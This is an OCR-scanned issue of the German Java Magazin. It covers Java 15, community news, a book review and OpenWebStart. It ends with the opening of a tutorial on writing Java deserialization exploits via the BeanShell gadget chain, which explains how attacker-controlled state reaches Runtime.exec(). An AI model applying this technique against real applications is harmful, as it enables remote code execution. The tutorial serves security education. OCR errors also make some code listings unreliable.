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Jo, wir schaffen das!

Wenig erfillt das Herz des Menschen mit mehr Stolz als das Erschaffen
von Neuem. Das ist sozusagen Wasser auf die Miihlen unseres mensch-
lichen Gottkomplexes. Schaut man sich einmal um in der Welt, sei es
in der visuellen Kunst, der Schriftstellerei oder eben in der Architektur,
dann kommt bei diesem Schaffensdrang durchaus das ein oder andere
Meisterwerk heraus. Schon Goethe wusste, dass die echte Sehnsucht des
Menschen stets produktiv sein muss, ein Neues, Besseres zu schaffen.

Doch natiirlich ist das Schaffen ein Prozess. Wir sind, egal wie sehr
manche sich das auch einreden mogen, eben keine Gotter. Kein noch so
vehementes Fingerschnippen wird etwas Bleibendes und Wunderbares
ins Leben rufen — von einem schénen Ton, der allzu bald verhallt, ein-
mal grofSziigig abgesehen. Nachhallend vielleicht, aber nicht nachhal-
tig. Das muss auch gar nicht sein, Rom wurde ja schliefSlich auch nicht
an einem Tag erbaut. Und der Aufwand hat sich offenbar gelohnt.

Java — weder die Sprache noch die Insel - ist nicht an einem Tag
erschaffen worden, auch wenn man bei der Insel einen theologischen
Diskurs beginnen konnte. Bleiben wir daher lieber bei der Sprache Java.
Vor Kurzem noch haben wir das 25-jahrige Jubilium gefeiert: 25 Jahre,
in denen die Entwicklung der Sprache nie stillstand. Mittlerweile sind
wir bei Version 15 angelangt, doch ist diese, obgleich sie natiirlich ganz
wunderbar fiir sich allein stehen kann, nur ein Grundgeriist fur das
nédchste Long-Term-Support-Release Java 17: Ja, die Erker, Sdulengin-
ge und Zierbogen sind wunderbar, doch manche Features des neuen
Releases befinden sich noch im Bau und in der Priifphase, etwa Sealed
Classes, Pattern Matching und Records. Fertig sind hingegen die beiden
Garbage Collectors ZGC und Shenandoah sowie Hidden Classes.

Wer sich mit dem Baugewerbe auskennt, wird vermutlich auch
schon von dessen eher dusteren Seiten gehort haben. Zwielichtige
Gestalten sind oft in Bauvorhaben involviert, und es soll sogar schon
vorgekommen sein, dass ungeliebte Aktionire ... verschwanden. Auf-
merksame Hauslebauer konnen vielleicht aus dem Fundament ein
gebogenes Rhinozeros-Horn herausragen sehen. Wir werden dich ver-
missen, Nashorn. Auflerdem leuchten einige Pfeiler verdichtig, doch
keine Sorge: Das ist keine Radioaktivitit, sondern nur die veralteten
Ports fiir SPARC und Solaris.

Sie sehen, liebe Bauherrinnen und Bauherren, die ewige Baustelle Java
wurde erneut sicherer, besser und schoner, der Grundstein fiir die nichs-
te LTS-Version gelegt. Ach ja: Der Zulieferer fiir Baustoffe wurde auch
gewechselt: Mercurial ist abgemeldet, dafiir iibernehmen nun Git bzw.
GitHub. Aber davon erzihle ich euch in einer der nichsten Ausgaben.

Nun, nach getaner Arbeit, wird es Zeit, sich zuriickzulehnen, ein we-
nig im Garten zu verharren und sich der Lektiire zu widmen, bevor der
Baustellenlarm wieder beginnt. In diesem Sinne wiinsche ich zum Richt-
fest von Java 15 Gliick und Segen sowie viel Vergniigen beim Lesen.

Dominik Mohilo | Redakteur

a @JavaMagazin
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Eclipse IDE 2020-09: Java 15 Support
: und verbesserte Styles
. https://tinyurl.com/y679mubj
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Auf dem Weg zu Angular 11: Abschied
; - vom IE 9 und 10 in Next.4

person’s routines. https://tinyurl.com/y67qga25
@venkat_s | August 2020

One person’s impossibilities are another

Abschied von ,Master” im Code:
V8 und GitHub andern Namensgebung
https:/ /tinyurl.com/y69d3ddf

..............................................

Thomas Edison sagte einmal: ,Ich habe nicht versagt.
Ich habe nur 10 000 Wege gefunden, die nicht
funktionieren werden.” In den MINTDisziplinen dreht sich

alles um Versuch und Irrtum, und man muss bereit sein,
Risiken einzugehen, um eine erfolgreiche Technologin

zu sein. Uberlegt jetzt einmal, wie viele Familien ihre

I.ET’S TALK!

Jetzt, wo JavaFX 15 das Licht

der Welt erblickt hat, wird es
einem Date zu fragen. Scheitern bietet wertvolle Zeit, einen Blick auf die neues-

Kinder grof3ziehen. Wir lassen unsere Jungs viel mehr
Risiken eingehen als unsere Madchen, sei es auf einem

Sportplatz oder wenn es darum geht, jemanden nach

Lektionen fiirs Leben, doch weil wir unsere Téchter vor ten Features zu werfen. Wir
EnttGuschungen schitzen wollen, nehmen wir ihnen die haben daher mit Java Champion
Méglichkeit zu lernen. Glicklicherweise hat mein und Gluon-Mitgrinder JOHAN VOS
Vater bei mir einen ganz anderen Ansatz verfolgt gesprochen, um alles Uber das aktuelle
und mich herausgefordert, Risiken einzugehen. o JavaFX-Release zu erfahren. Er spricht im
/- N\\ Interview zudem uUber die Plane flr JavaFX 16
:, 7 11 und darlber, warum JavaFX sehr wohl
W\ /) konkurrenzfahig ist.
N https://tinyurl.com/yxayahv3

Reema Poddar

Chief Product Officer

fir Teradata

hitps:/ /tinyurl.com/yyll58zu

Kl und intelligente Maschinen ziehen in unseren Alltag ein. Doch wahrend Emotionen
bei menschlicher Interaktion eine Schltisselrolle spielen, fehlt den Maschinen dieser
Aspekt. Maschinen, die in der Lage sind, Emotionen auf der Grundlage von Gesichts-
ausdruck, sprachlichen Interaktionen, Korpersprache usw. zu verstehen, haben das
T v- Potenzial, die Mensch-Maschine-Interaktion auf eine andere Ebene zu heben, die noch
wenig erforscht ist, aber immense Méglichkeiten bietet. In diesem Talk von der ML
Conference beleuchtet Srividya Rajamani die jlingsten Fortschritte im Bereich des

‘ p p emotionalen maschinellen Lernens und die Vor- und Nachteile des Aufbaus emotional
intelligenter Maschinen. https://tinyurl.com/y66vzf2q
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JUG-Kalender

Neuee aus den User Grouvps

WER? WAS? Wwo?

JUG Ingolstadt 10.11.2020: Java-Treff https://tinyurl.com/yywftb5b

JUG Switzerland 10.11.2020: The Art of Software Reviews https://tinyurl.com/yydruuap

JUG Darmstadt 12.11.2020: JUG DA: Crypto 101 (Oliver Milke) https://tinyurl.com/y6zkgmac

18.11.2020: Projekte Valhalla, Loom und GraalVM (Vadym

AUl L Kazulkin)

https://tinyurl.com/y28bgh53

18.11.2020: Ultraschnelle Java In-Memory

JUG Oberpfalz Datenbankanwendungen mit MicroStream

https://tinyurl.com/yx8z7xgn

25.11.2020: Ultraschnelle Java In-Memory

el [AEDLTS Datenbankanwendungen mit MicroStream (Markus Kett)

https://tinyurl.com/y5dlu7p3

JUG Hannover 27.11.2020: Java Stammtisch https://tinyurl.com/yy79b5ta
JUG Berlin- 01.12.2020: Monatlicher Stammtisch der JUG Berlin- e
Brandenburg Brandenburg https://tinyurl.com/y3ng83zy

Alle Angaben ohne Gewahr. Da Termine sich kurzfristig &ndern kénnen, Uberpriifen Sie diese bitte auf der jeweiligen JUG-Website.

Java ist nicht nur eine Insel, sondern auch ein weites Feld — dementsprechend
steht das Java Magazin allen kreativen Kopfen offen, die dieses Feld gemein-
sam mit uns beackern wollen. Habt Ihr ein spannendes Thema in petto, das
einen technischen Mehrwert flr unsere Leser bietet, auf werbliche Elemente
verzichtet und die breite Java-Community anspricht, dann seid Ihr bei uns herz-
lich willkommen. Also: Keine Angst vor der eigenen Courage und einfach einen
kurzen Abstract an redaktion@javamagazin.de schicken.

www.JAXenter.de javamagazin 1212020
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Buchtipp

Java Coding Problems

Programmieren ist eine jener Wis-
senschaften, die man am besten
durch Ubung erlernt. Da man oft
nicht die Zeit hat, stundenlang sinn-
los zu programmieren, bietet der
PackT-Verlag nun ein Lehrbuch mit
Java-Problemen an. Der didaktische
Aufbau ist gelungen. Auf 809 Sei-
ten stellt der Autor eine Gruppe
verschiedener Probleme vor, die er
in insgesamt 13 Kapitel unterteilt.
Der PT-Entwickler soll sich einige
Aufgaben aussuchen und versuchen,
eine Losung zu finden. Der Autor
prasentiert umfangreiche Beispiello-
sungen, die didaktisch mehr als sau-
ber implementiert sind. Leonard ist
sich der raschen Weiterentwicklung
von Java bewusst und setzt deshalb
auf Version 12 des JDK. Als Ent-
wicklungsumgebung kommt Net-
Beans zum Einsatz — der Code lasst
sich naturgemif§ auch mit anderen
IDEs verwenden.

Im ersten Aufgabenbereich be-
schiftigt sich der Autor mit Pro-
blemen, die Strings, Zahlen und
Mathematik betreffen. Hier findet
sich eine interessante Liste von Auf-
gaben, die von sehr schwierig (Ver-
arbeitung von Unicode) bis einfach
und nur wegen des Hintergrund-
wissens interessant reichen. Wer die
Musterlosungen ansieht, stellt al-

javamagazin 1212020
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von Anghel Leonard

lerdings schnell fest, dass der Autor
keine Angst hat, dem PT-Leser tech-
nische Informatik zuzumuten. Bei
der Arbeit mit Objekten kehrt Leo-
nard die Reihenfolge insofern um,
als er dem angehenden Entwickler
als Erstes einfache Aufgaben zumu-
tet — Werfen einer Exception beim
Vorfinden einer Nullinstanz — und
das fachliche Niveau erst danach
(aggressiv) anhebt. Neben lustigen
Problemen mit tiefen und flachen
Objektkopien findet man auch eini-
ge Themen aus der OOP-Forschung.
Interessant ist die Arbeit mit Da-
tenstrukturen. Neben einfacheren
Aufgaben findet sich eine Beispie-
limplementierung seltener Suchal-
gorithmen, darunter interessante
Suchverfahren, die in der Praxis oft
Zeit sparen. Es sei allerdings ange-
merkt, dass dieses Kapitel die Lek-
tire von Knutth oder Sedgewick
auf keinen Fall ersetzen kann. Die
darauffolgenden Ausfithrungen zur
Dateiverarbeitung sind dann wieder
wie gewohnt — interessant ist dabei
eigentlich nur der Abschnitt, der sich
mit der Tokenisierung von Strings
auseinandersetzt und ungewohnli-
che Vorgehensweisen prisentiert.
Fragt man den Normalentwick-
ler nach dem fiir ihn angsteinflo-
Bendsten Teil des Java-Standards,

Anghel Leonard
Java Coding Problems

Improve your Java Programming skills by
solving real-world coding challenges

816 Seiten, 39,88 Euro
Packt Publishing, 2019
ISBN: 978-1789801415

bekommt man in vielen Fillen Re-
flection als Antwort. Der Autor ist
sich dieser Tatsache bewusst. Neben
der statischen bzw. dynamischen
Analyse des Inhalts einer Klasse de-
monstriert das Buch auch, wie man
die durch Reflection gewonnenen
Erkenntnisse in die Ausfihrung
von Methoden oder die Verinde-
rung von Werten umsetzt. Damit
ist der GrofSteil der Aufgaben erle-
digt. Die nichsten beiden Kapitel
beschiftigen sich mit grundlegender
und fortgeschrittener funktionaler
Programmierung, es folgt eine Vor-
stellung der Methoden zur Paralle-
lisierung. Hier geht Leonard noch
einmal richtig in die Vollen: Es gibt
kaum ein Feature des Threading-
API, das nicht durch eine Program-
miertibung demonstriert wird. Die
beiden folgenden Abschnitte zu Op-
tionals und zum HTTPClient geben
ebenfalls keinen Anlass zur Kritik.

Aus der Logik folgt, dass ein
800 Seiten langes Lehrbuch beim
Abdrucken der diversen Antworten
immer bis zu einem gewissen Grad
Mut zur Lucke beweisen muss.
PackT hat die Snippets allerdings
richtig getroffen, in vielen Fillen fin-
den sich zudem tiefergehende Grafi-
ken mit Zusatzinformationen. Wer
mit einem der im Inhaltsverzeichnis
genannten Themenkreise Probleme
hat, diirfte den Kauf des Lehrbuchs
mit Sicherheit nicht bereuen. Hat
man die Aufgaben durchgearbeitet
(oder zumindest die abgedruckten
Losungen aufmerksam gelesen),
verfiigt man iiber einen wesentlich
tiefergehenden Einblick in die je-
weilige Materie. Von der englischen
Sprache sollte man sich dabei nicht
abschrecken lassen.

Tam Hanna

www.]AXenter.de
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Web Start

Wie Open Source Web Start rettet

Bye Java Web Start,

hello OpenWebStar

Zwei Jahre ist es mittlerweile her, dass der neue Java-Release-Train und verschiedene
Ankundigungen von Oracle die Java-Community so richtig durchgeruttelt haben. Eine der
Neuerungen war die von Oracle angekulndigte Entfernung von Java Web Start aus dem
Oracle JDK. Vielen Entwicklern wurde erst damals wirklich bewusst, dass Web Start
kein Bestandteil des OpenlJDK ist, sondern von Oracle Closed Source entwickelt wurde.

von Hendrik Ebbers

Vor allem in den Releases bis Java 8 hat Oracle ver-
schiedene Komponenten des Oracle JDK auflerhalb der
Open Source Repositories des Open]DK entwickelt.
Abbildung 1 zeigt ein paar Beispiele. Auch wenn das
mit Java 11+ deutlich besser geworden ist und Oracle
einiges an das Open]DK contributet hat, sind doch ein
paar Funktionen und Tools auf der Strecke geblieben.
Das beste Beispiel ist wohl Java Web Start. Durch die
Abkuindigung von Oracle Web Start in Java 11 und die
Lizenzanderungen fir Java 8 blieb Nutzern eigentlich
nur die Moglichkeit eines kostenpflichtigen Support-
vertrags fiir Oracle JDK 8 oder die Migration aller ih-
rer Web-Start-basierten Anwendungen innerhalb eines
Jahres. Was fiir viele Firmen zunédchst wie eine riesige

Katastrophe aussah, konnte am Ende genutzt werden,
um die Moglichkeiten und Vorteile von Open Source
zu zeigen: Mit OpenWebStart [1] ist eine hundertpro-
zentige Open-Source-Implementierung der Web-Start-
Funktionalititen entstanden.

Ermoglicht wurde das durch die Zusammenarbeit
verschiedener Firmen, die die Entstehung des Projekts
gefordert haben. Intern nutzt OpenWebStart die Java
Library IcedTea-Web [2], die der AdoptOpen]DK Com-
munity von Red Hat zur Verfiigung gestellt wurde und
die mittlerweile — genau wie OpenWebStart — von der
Karakun AG gepflegt und weiterentwickelt wird [3].

In diesem Artikel wird gezeigt, wie OpenWebStart
den JNLP-Standard so anpasst und auf ein neues Level
hebt, dass Web-Start-Anwendungen auch mit den neu-
en Herausforderungen im Java-Okosystem (wie Java 11

www.]AXenter.de
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oder unterschiedlichen JDK-Distributionen) umgehen
konnen. Das kann vor allem denjenigen Firmen dabei
helfen, die Entwicklung voranzutreiben und veraltete
Komponenten und Konzepte schrittweise abzul6sen, die
seit vielen Jahren ihre Software auf Basis von Web Start
entwickeln.

Damit dieser Artikel auch fiir Java-Entwickler inter-
essant ist, die kein Java Web Start bzw. OpenWebStart
nutzen, will ich auch ein paar Einblicke in die Entwick-
lung von OpenWebStart geben. Was auf den ersten
Blick wie langweilige Legacy-Software aussieht, bein-
haltet doch ein paar spannenden Herausforderungen
fiir Entwickler.

Ein altes Tool in einer neuen Welt

Als der JNLP-Standard mit JSR 56 im Jahr 2000 de-
finiert wurde, dachte noch niemand daran, dass es ir-
gendwann einmal verschiedene Java-Distributionen
von Herstellern wie Oracle, AdoptOpen]DK, Azul oder
Bellsoft geben wiirde. Zu diesem Zeitpunkt war Java
selbst noch nicht einmal Open Source. Daher geht der
Standard auch erst einmal nur davon aus, dass alle Java-
Versionen aus dem System eines Herstellers (Sun, spater
Oracle) kommen und nur durch eine Version spezifiziert
sind. Auch ging man bei der Definition des JNLP-Stan-
dards davon aus, dass auf allen Clients standardmifSig
ein JRE installiert ist. Wie hdtte man damals auch sonst
diese modernen Applets im Netscape ausfithren sollen?

Heute bewegen wir uns im Bereich der Desktopent-
wicklung mit Java in einer vollig anderen Welt. In der
Regel ist kein JRE mehr auf Client-Rechnern installiert,
und aufgrund der neuen Lizenzen des Oracle JDK diir-
fen Firmen auf deren Nutzung aus rechtlicher Sicht oft
sowieso nicht mehr setzen. Hinzu kommt, dass es unter-
schiedliche Auspriagungen von Java Binaries gibt. Nicht
nur, dass sie von unterschiedlichen Herstellern kommen
konnen, auch inhaltlich konnen sie sich unterscheiden.
Bei Bellsoft kann ich fiir Windows z. B. folgende Varian-
ten von Java 11 herunterladen: Standard JDK, Standard
JRE, Lite JDK, Full JDK, Full JRE. Hinzu kommt, dass
man sich seit Java 9 mit jlink schnell selbst eine auf die
Anwendung zugeschnittene Laufzeitumgebung paketie-
ren kann.

In OpenWebStart liefert der JVM-Manager alle
Funktionalitdten, um JNLP-Anwendungen auch in der
heutigen Zeit noch sauber ausfithren zu konnen. Diese
Komponente von OpenWebStart verwaltet intern JVM-
Installationen und ladt fiir den Start einer JNLP-Anwen-
dung je nach Konfiguration auch eine passende bzw.
benotigte JVM direkt von einem dedizierten Server. Aus
diesem Grund wird fiir die Nutzung von OpenWebStart
auch keine Java-Installation auf dem Client benotigt.
Wenn lokal keine passende Laufzeitumgebung gefunden
wird, ladt OpenWebStart diese direkt von AdoptOpen-
JDK oder einem anderen konfigurierten Server herunter.
Sollte man hier z. B. kommerziellen Support fiir Java bei
der Firma Bellsoft beziehen, kann man sowohl JNLP-
Anwendungen als auch komplette OpenWebStart-Ins-

Web Start

Java Core

Abb. 1: Bis Java 8 hat Oracle verschiedene Komponenten des Oracle JDK auf3er-

halb der Open Source Repositories des OpenJDK entwickelt

tallation so konfigurieren, dass nur Bellsoft Liberica als
Laufzeitumgebung fiir Anwendungen genutzt werden
kann. OpenWebStart erlaubt hierbei auch direkt die De-
finition eines Vendors oder sogar einer expliziten JVM
im JNLP-File. Um Missbrauch zu umgehen, konnen in
OpenWebStart Whitelists fiir Server gepflegt werden.
Listing 1 zeigt, wie innerhalb eines JNLP-Files definiert
werden kann, dass eine Java-11-Laufzeitumgebung von
AdoptOpen]DK zum Ausfithren der Anwendung beno-
tigt wird.

Das Auswahlen einer passenden JVM

Um im JVM-Manager von OpenWebStart unterschied-
liche Java Runtimes zu verwalten, mussten wir einiges
an Funktionalitit schaffen. Es muss moglich sein, dass
sowohl lokal installierte als auch von OpenWebStart he-
runtergeladene JVMs gefunden und analysiert werden.
Das Ausfiihren einer JNLP-Anwendung kann bestimmte
Voraussetzungen fur eine JVM vorschreiben. So kann
es z. B. sein, dass eine Anwendung eine Bellsoft Liberica
JVM in der Version 1.8.* benétigt. Um diese und ande-
re Bedingungen erfiillen zu konnen, missen alle JVMs
analysiert werden. Auch wenn Java an vielen Stellen

Listing 1

<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0+" codebase="https://sample.com/">
<information>
<titleJava 11 App</title>
<vendor>Karakun AG</vendor>
<offline-allowed/>
</information>
<security>
<all-permissions/>
</security>
<resources>
<java version="11+" vendor="AdoptOpenJDK"/>
<jar href="jars/application.jar"/>
</resources>
<application-desc main-class="com.karakun.Application"/>
</inlp>

javamagazin



Java Core

Web Start

Abb. 2: Auflistung aller JVMs mit verschiedenen Konfigurationsmoglichkeiten

Abb. 3: Roadmap fur die nachsten Monate

Abb. 4: Verschiedene Supporter von OpenWebStart

12

standardisiert ist, gibt es leider keinen Standardfile in
jeder JDK-Installation, in dem solche Informationen zu
finden sind. Daher werden die JVMs von OpenWebStart
»angestoflen®, um ihre Parameter zu ermitteln. Hierbei
reicht es nicht, ein java -version auszufithren. Dieses lie-
fert nicht alle der fiir OpenWebStart benotigten Infor-

Listing 2

java.runtime.name = OpenJDK Runtime Environment

java.runtime.version = 11.0.3+7

java.specification.name = Java Platform API Specification
java.specification.vendor = Oracle Corporation

java.specification.version = 11

java.vendor = AdoptOpenJDK

java.vendor.url = https://adoptopenjdk.net/ :
java.vendor.url.bug = https://github.com/AdoptOpenJDK/openjdk-build/issues
java.vendor.version = AdoptOpendDK :
java.version = 11.0.3

javamagazin 1212020

mationen und sieht auch je nach Vendor unterschiedlich
aus. Gibt man beim Start einer JVM allerdings den Para-
meter -XshowSettings:properties mit, so bekommt man
alle relevanten Properties der JVM angezeigt. Listing 2
liefert einen Auszug dieser Properties.

Durch das Auslesen dieser Properties konnen alle vor-
handenen JVMs von OpenWebStart verwaltet und kann
beim Start einer JNLP-Anwendung die passende Lauf-
zeitumgebung ausgewihlt werden. OpenWebStart bie-
tet in den Settings auch eine Auflistung aller JVMs mit
verschiedenen Konfigurationsmoglichkeiten (Abb. 2).
Neben den lokalen JVMs werden die jeweiligen Infor-
mationen natiirlich auch fiir alle auf hinterlegten Down-
loadservern bereitgestellten JVMs vorgehalten, sodass
OpenWebStart dem Benutzer den Download einer neu-
en JVM vorschlagen kann, wenn lokal keine passende
gefunden wird.

Die Proxy-Funktionalitat von OpenWebStart

Eine der Aufgaben im Umfeld von OpenWebStart, mit
der sich bisher nur wenige Java-Entwickler beschaftigt
haben, ist das Proxy API von Java (Achtung: Nicht zu
verwechseln mit dem API zur Erstellung von dynami-
schen Proxy-Klassen und -Instanzen in Java). Hier
geht es darum, dass in einer Java-Anwendung fiir alle
Netzwerkverbindungen (HTTP, FTP, generelle Socket-
Verbindungen etc.) automatisch ein Proxy zwischenge-
schaltet wird. In Java wird ein solcher Proxy tiber die
Klasse java.net.Proxy definiert. Die Klasse java.net.Pro-
xySelector ist der Manager solcher Proxy-Instanzen und
wird bei jedem internen Verbindungsaufruf automatisch
aufgerufen, um einen zur gewiinschten Verbindung pas-
senden Proxy zu liefern. Soll kein Proxy genutzt werden,
kann der Singleton java.net.Proxy.NO_PROXY zu-
riickgeliefert werden. Wie in Listing 3 gezeigt kann ein
ziemlich einfacher Proxy in Java erstellt werden. Hierbei
wird fiir alle HTTPS-Verbindungen automatisch ein un-
ter localbost:8080 erreichbarer Proxy genutzt.

In OpenWebStart haben wir auf Basis dieses APIs zum
Beispiel System-Proxys fir Windows, Linux und Mac
implementiert, die automatisch die Systemkonfiguration
des Betriebssystems auslesen und auf deren Basis Java-
Proxy-Objekte erstellen. Dazu werden fiir Windows alle
relevanten Informationen von OpenWebStart direkt aus
der Windows Registry ausgelesen. PAC-basierte Proxys
werden auch unterstiitzt. Diese deutlich dynamischeren
Proxys werden durch ein beliebiges JavaScript-Skript de-
finiert, das bei jeder Proxy-Bestimmung ausgefithrt wird
und das auf Basis der Verbindungsinformationen dyna-
misch passende Proxys liefert. Um PAC zu unterstiitzen,
miussen spezielle JavaScript-Methoden vorhanden sein,
die nicht zum JavaScript-Standard gehoren und in der
Regel von jedem Browserhersteller implementiert wer-
den. Eine Auflistung kann man unter [4] finden. Auch
diese Funktionen sind Bestandteil von OpenWebStart
und es gibt somit sogar JavaScript-Code in diesem Pro-
jekt. Das hitte ich zu Beginn der Entwicklung auch noch
nicht fur moglich gehalten.
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Die Zukunft von OpenWebStart

Seit dem Release 1.0 von OpenWebStart sind die grund-
sdtzlichen Funktionalititen zum Verwalten und Ausfiih-
ren von JNLP-Anwendungen sowie der JVM-Manager
implementiert worden. Das Tool wurde bereits in die-
ser Version mehrere tausendmal heruntergeladen und
genutzt. Bis zur aktuellen Version 1.2 sind einige neue
Features wie Whitelists fiir Server hinzugekommen und
verschiedene Bugs wurden behoben. Aktuell ist fiir No-
vember 2020 das niachste Release 1.3 geplant. Wie fiir
das Release 1.2 wird es auch hier ein kostenloses Webi-
nar mit der Vorstellung der neuen Features sowie einer
offenen Fragerunde geben [5]. Abbildung 3 zeigt die
Roadmap fur die nichsten Monate.

Ein wichtiger Punkt fir OpenWebStart ist der kom-
merzielle Support. Dieser ermoglicht es, dass die Kara-
kun AG das Open-Source-Projekt weiter pflegen und
regelmifSig neue Releases veroffentlichen kann. Denn
auch wenn OpenWebStart alle Vorteile der Open-
Source-Entwicklung mit sich bringt, kostenlos sind
die Wartung und Pflege wie bei allen grofseren Open-
Source-Projekten nicht. Abbildung 4 zeigt verschiedene
Supporter von OpenWebStart.

OpenWebStart wurde anfangs entwickelt, um Java-8-
basierte Anwendungen ein paar Jahre linger tiber Web
Start zu betreiben und so Unternehmen mehr Zeit fir
eine geplante Migration zu einer neuen Technologie zu
bieten. Mittlerweile sehen wir aber, dass viele Anwen-
dungen auf Java 11 migriert wurden und OpenWebStart
genutzt wird, um diese Anwendungen mit AdoptOpen-
JDK 11 zu starten. Abbildung 5 zeigt die Verteilung von
Java-8- und Java-11-Anwendungen sowie der genutzten
Betriebssysteme von OpenWebStart.

Auch wenn es uns freut, dass OpenWebStart bereits
fiir den Betrieb von Java-11-Anwendungen (und auch
JavaFX-Anwendungen) genutzt wird, so ist es an der

Listing 3

ProxySelector.setDefault(new ProxySelector() {
@0verride
public List<Proxy> select(final URT uri) {
if (Objects.equals(uri.getScheme(), "https")) {
final Proxy proxy = new Proxy(Proxy.Type.HTTP, :
new InetSocketAddress("locathost", 8080));
return Collections.singletonList(proxy); :
}
return Collections.singletonList(Proxy.NO_PROXY);

}

@0verride
public void connectFailed(final URT uri, final SocketAddress sa, :
final I0Exception ioe) {
System.out.println("Proxy Connection failed for ™ + uri + ""); :
ioe.printStackTrace();

Web Start

Java Core

Abb. 5: Verteilung von Java-8- und Java-11-Anwendungen und der genutzten

Betriebssysteme von OpenWebStart

Zeit, nach neuen Moglichkeiten zum Ausrollen, Aus-
fithren und Warten von Java-Desktopanwendungen zu
schauen. Basierend auf den Erfahrungen, die mit Tools
wie OpenWebStart oder dem javapackager gemacht
wurden, gibt es bereits Ideen fiir zukiinftige Tools und
Workflows. Sicherlich wird hier kein Closed-Source-
Tool das Rennen machen. Deutlich besser ist es, wenn
verschiedene Hersteller wie Oracle, Red Hat und Ka-
rakun sich hier zusammentun und eine einheitliche
Open-Source-Losung entwickeln. Mit dem Einzug von
AdoptOpen]DK in die Eclipse Foundation [6] bietet sich
eine ideale Basis. Auch Karakun wird eines der Griin-
dungsmitglieder und fester Bestandteil der Working
Group sein.

Hendrik Ebbers ist Java-Entwickler bei der Karakun AG und lebt in
Dortmund. Er ist Griinder und Leiter der Java User Group Dortmund
und halt Vortrage und Présentationen in User Groups und auf Kon-
ferenzen. Er bloggt iber Ul-bezogene Themen und sein JavaFX-
Buch ,Mastering JavaFX 8 Controls“ wurde 2014 von Oracle Press
veroffentlicht. Hendrik ist JavaOne Rockstar, Mitglied der JSR-Expertengruppe
und Java-Champion.

Z/\S
l‘!,' www.guigarage.com u @hendrikEbbers
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[1] https://openwebstart.com
[2] https://github.com/AdoptOpenJDK/IcedTea-Web
[3] https://github.com/karakun/OpenWebStart

[4] https://developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_
and_tunneling/Proxy_Auto-Configuration_(PAC)_file#Predefined_
functions_and_environment

[5] https://mailchi.mp/karakun/openwebstart-v12-fagsession
[6] https://dev.karakun.com/2020,/06/29/adoptopenjdk-eclipse.html
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Deserialisierungsschwachstellen im Java-Programmcode

Bastelstunde: Deseri-

alisierungs-Exploits

Im diesem Teil unserer Artikelserie zu Deserialisierungsschwachstellen in Java wollen
wir selbst einen Exploit Code schreiben. Wir sehen uns an, wie anhand der BeanShell
Gadget Chain [1], [2] eine Deserialisierungsschwachstelle unter realen Bedingungen

ausgenutzt werden kann. Hiermit sollten wir dann in der Lage sein, eigene Befehle im

Betriebssystem auszuflihren.

von Axel Rengstorf

Das java.io-Serialisierungs-API [3] erlaubt die Um-
wandlung (Serialisierung) eines Java-Objekts in einen
Bytestrom und vice versa durch die Deserialisierung mit-
tels der readObject()-Methode. Bei der Deserialisierungs-
schwachstelle nutzt ein Angreifer sowohl aus, dass keine
Validierung vor der Deserialisierung stattfindet, als auch,
dass der Angreifer die Properties (den Zustand des Ob-
jekts) kontrolliert. Im simpelsten und idealisierten Fall
wird beispielsweise Runtime.getRuntime().exec() mit
den vom Angreifer kontrollierten Properties ausgefiihrt,
sodass fremde Codeausfiihrung moglich ist. Fiir einen
Angreifer ist es meist einfach, Deserialisierungsschwach-
stellen zu finden - sie auszunutzen, um Codeausfithrung
zu erlangen, ist jedoch wesentlich komplexer.

Wie sieht ein Exploit Code — ein Programmcode zur
Erzeugung eines boswilligen Objekts, das der Deseriali-
sierungsmethode iibergeben wird — unter realen Bedin-

javamagazin 1212020

gungen aus? Auch hier findet man Techniken wieder,
die dhnlich denen bei der Ausnutzung von Stack-Over-
flow-Schwachstellen in C/C++ [4] sind.

Es kann einfach sein
Bei der Deserialisierungsschwachstelle iibergibt ein An-
greifer der readObject()-Methode ein beliebiges Objekt,
das das Serializable-Interface implementiert, um dessen
Zustand (die sogenannten Properties) zu rekonstruieren.
Ein Angreifer sucht also ein boswilliges Objekt, das sich
im Klassenpfad befindet und das dann der oben genann-
ten Methode tibergeben wird, um eigenen Programm-
code ausfiithren zu konnen. In Ausgabe 11.2020 des Java
Magazins [5] wurde die Ausnutzung der Schwachstelle
anhand der Logger-Klasse (hier vereinfacht in Listing 1
dargestellt) illustriert.

Der Angreifer kontrolliert die Variable logfilename
(Listing 1, Kommentar 1). Die Klasse iiberschreibt die
Methode readObject() (Listing 1, Kommentar 2). Das
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bewirkt bei der Deserialisierung eines Objekts dieser
Klasse, dass diese Methode automatisch ausgefiihrt
wird. In Listing 1 (Kommentar 3) wird die standard-
miflige readObject()-Methode aufgerufen, die u. a.
den Object-Zustand konstruiert und daher die Varia-
ble logfilename auf den vom Angreifer kontrollierten
Wert setzt. Ebenfalls in Listing 1 (Kommentar 4) wird
dankenswerterweise fiir den Angreifer Runtime.getRun-
time().exec() mit logfilename als Parameter aufgerufen.
Demnach fiihrt eine Deserialisierung dieses Logger-Ob-
jekts zur direkten Codeausfithrung durch den Angreifer
und stellt einen Idealfall dar.

Fir Angreifer sind Klassen (mit implementiertem
Serializable-Interface) interessant, die die sogenannten
Magic Methods readObject(), readResolve(), readOb-
jectNoData(), validateObject() und finalize() (wird bei
der Loschung des Objekts durch den Garbage Collector
aufgerufen) implementieren. Diese Methoden erlauben
dem Programmierer, in die Deserialisierung einzugreifen
und fithren meist — neben dem Setzen der Properties —
noch weiteren Code mit den vom Angreifer bestimmten
Werten aus.

In der Logger-Klasse erlaubt die Magic Method die
direkte Codeausfithrung — ein Idealfall, der unter realen
Gegebenheiten nicht anzutreffen ist. Welche Moglichkei-
ten gibt es fiir einen Angreifer, der eine Deserialisierungs-
schwachstelle ausnutzen mochte, nun also wirklich?

Eine Verkettung von Umstanden

Es ist nur logisch, dass eine Klasse im Klassenpfad der
Applikation gesucht werden muss, die eine der Magic
Methods implementiert und zusitzlich noch anderwei-
tigen Code ausfiihrt, der von dem durch den Angreifer
gesetzten Objektzustand (Properties) abhiangt. Am Ende
dieser Codeausfithrung verschiedener anderer Klassen
bzw. Methoden soll es iiber diesen Umweg moglich sein,
Befehle wie etwa Runtime.getRuntime().exec() ausfiih-
ren zu konnen.

Ein Objekt, das darin tiber diesen Umweg zur Ausfiih-
rung kommt, wird Gadget [6] genannt. Ein Gadget kann
potenziell aus jeder Klasse bestehen, die im Klassenpfad
liegt. Eine Gadget Chain ist eine Verkettung von ge-
eigneten Gadgets, die hintereinander zur Ausfiihrung
kommen. Am Anfang einer Gadget Chain steht hierbei
das Kick-off Gadget — eine Klasse, die eine Magic Meth-
